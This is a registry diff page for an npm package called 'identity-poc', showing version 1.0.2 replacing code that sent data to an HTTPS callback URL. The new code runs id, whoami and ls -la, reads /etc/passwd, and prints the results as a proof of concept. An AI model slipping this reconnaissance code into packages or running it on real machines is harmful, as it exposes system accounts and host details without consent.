identity-poc 1.0.0 → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +43 -42
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,50 +1,51 @@
|
|
|
1
1
|
#!/usr/bin/env node
|
|
2
2
|
|
|
3
|
-
const https = require("node:https");
|
|
4
3
|
const os = require("node:os");
|
|
5
|
-
|
|
6
|
-
const
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
4
|
+
const fs = require("node:fs/promises");
|
|
5
|
+
const { execFile } = require("node:child_process");
|
|
6
|
+
const { promisify } = require("node:util");
|
|
7
|
+
|
|
8
|
+
const execFileAsync = promisify(execFile);
|
|
9
|
+
|
|
10
|
+
async function runCommand(cmd, args = []) {
|
|
11
|
+
try {
|
|
12
|
+
const { stdout, stderr } = await execFileAsync(cmd, args, {
|
|
13
|
+
timeout: 5000,
|
|
14
|
+
maxBuffer: 1024 * 1024
|
|
15
|
+
});
|
|
16
|
+
return { ok: true, stdout: stdout.trim(), stderr: stderr.trim() };
|
|
17
|
+
} catch (err) {
|
|
18
|
+
return {
|
|
19
|
+
ok: false,
|
|
20
|
+
error: err.message,
|
|
21
|
+
stdout: (err.stdout || "").toString().trim(),
|
|
22
|
+
stderr: (err.stderr || "").toString().trim()
|
|
23
|
+
};
|
|
24
|
+
}
|
|
11
25
|
}
|
|
12
26
|
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
27
|
+
async function getPasswdContent() {
|
|
28
|
+
try {
|
|
29
|
+
const content = await fs.readFile("/etc/passwd", "utf-8");
|
|
30
|
+
return { exists: true, content: content.trim() };
|
|
31
|
+
} catch (err) {
|
|
32
|
+
return { exists: false, error: err.message };
|
|
19
33
|
}
|
|
20
|
-
} catch {
|
|
21
|
-
console.error("Provide a valid HTTPS callback URL.");
|
|
22
|
-
process.exit(1);
|
|
23
34
|
}
|
|
24
35
|
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
}
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
res.resume();
|
|
42
|
-
});
|
|
43
|
-
|
|
44
|
-
req.on("timeout", () => req.destroy(new Error("Timeout")));
|
|
45
|
-
req.on("error", err => {
|
|
46
|
-
console.error("Callback failed:", err.message);
|
|
47
|
-
process.exitCode = 1;
|
|
48
|
-
});
|
|
49
|
-
|
|
50
|
-
req.end(payload);
|
|
36
|
+
(async () => {
|
|
37
|
+
const report = {
|
|
38
|
+
marker: "IDENTITY_POC_EXECUTED",
|
|
39
|
+
platform: os.platform(),
|
|
40
|
+
node: process.version,
|
|
41
|
+
timestamp: new Date().toISOString(),
|
|
42
|
+
commands: {
|
|
43
|
+
id: await runCommand("id"),
|
|
44
|
+
whoami: await runCommand("whoami"),
|
|
45
|
+
"ls -la": await runCommand("ls", ["-la"])
|
|
46
|
+
},
|
|
47
|
+
passwd: await getPasswdContent()
|
|
48
|
+
};
|
|
49
|
+
|
|
50
|
+
console.log(JSON.stringify(report, null, 2));
|
|
51
|
+
})();
|